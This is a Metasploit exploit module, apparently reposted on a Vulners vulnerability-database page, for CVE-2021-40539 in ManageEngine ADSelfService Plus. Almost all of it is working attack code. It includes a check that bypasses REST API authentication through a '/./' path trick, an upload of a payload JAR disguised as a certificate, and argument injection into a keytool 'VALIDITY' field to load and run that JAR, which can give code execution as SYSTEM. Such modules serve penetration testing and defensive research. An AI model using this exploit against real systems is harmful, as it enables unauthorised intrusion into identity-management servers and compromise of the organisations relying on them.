`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Java::HTTP::ClassLoader # TODO: Refactor this
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADSelfService Plus CVE-2021-40539',
'Description' => %q{
This module exploits CVE-2021-40539, a REST API authentication bypass
vulnerability in ManageEngine ADSelfService Plus, to upload a JAR and
execute it as the user running ADSelfService Plus - which is SYSTEM if
started as a service.
},
'Author' => [
# Discovered by unknown threat actors
'Antoine Cervoise', # Independent analysis and RCE
'Wilfried Bécard', # Independent analysis and RCE
'mr_me', # keytool classloading technique
'wvu' # Initial analysis and module
],
'References' => [
['CVE', '2021-40539'],
['URL', 'https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html'],
['URL', 'https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis'],
['URL', 'https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html'],
['URL', 'https://github.com/synacktiv/CVE-2021-40539/blob/main/exploit.py']
],
'DisclosureDate' => '2021-09-07',
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false, # true if ADSelfService Plus is run as a service
'Targets' => [
['Java Dropper', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8888
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/./'])
])
end
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'),
'vars_post' => {
'methodToCall' => 'previewMobLogo'
}
)
unless res
return CheckCode::Unknown('Target failed to respond to check.')
end
unless res.code == 200 && res.body.match?(%r{mobLogo.*/temp/tempMobPreview\.jpeg})
return CheckCode::Safe('Failed to bypass REST API authentication.')
end
CheckCode::Vulnerable('Successfully bypassed REST API authentication.')
end
def exploit
upload_payload_jar
execute_payload_jar
end
def upload_payload_jar
print_status("Uploading payload JAR: #{jar_filename}")
jar = payload.encoded_jar
jar.add_file("#{class_name}.class", constructor_class) # Hack, tbh
form = Rex::MIME::Message.new
form.add_part('unspecified', nil, nil, 'form-data; name="methodToCall"')
form.add_part('yas', nil, nil, 'form-data; name="Save"')
form.add_part('smartcard', nil, nil, 'form-data; name="form"')
form.add_part('Add', nil, nil, 'form-data; name="operation"')
form.add_part(jar.pack, 'application/java-archive', 'binary',
%(form-data; name="CERTIFICATE_PATH"; filename="#{jar_filename}"))
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'),
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
)
unless res&.code == 404
fail_with(Failure::NotVulnerable, 'Failed to upload payload JAR')
end
# C:\ManageEngine\ADSelfService Plus\bin (working directory)
register_file_for_cleanup(jar_filename)
print_good('Successfully uploaded payload JAR')
end
def execute_payload_jar
print_status('Executing payload JAR')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/RestAPI/Connection'),
'vars_post' => {
'methodToCall' => 'openSSLTool',
'action' => 'generateCSR',
# https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html
'VALIDITY' => "#{rand(1..365)} -providerclass #{class_name} -providerpath #{jar_filename}"
}
)
unless res&.code == 404
fail_with(Failure::PayloadFailed, 'Failed to execute payload JAR')
end
print_good('Successfully executed payload JAR')
end
def jar_filename
@jar_filename ||= "#{rand_text_alphanumeric(8..16)}.jar"
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation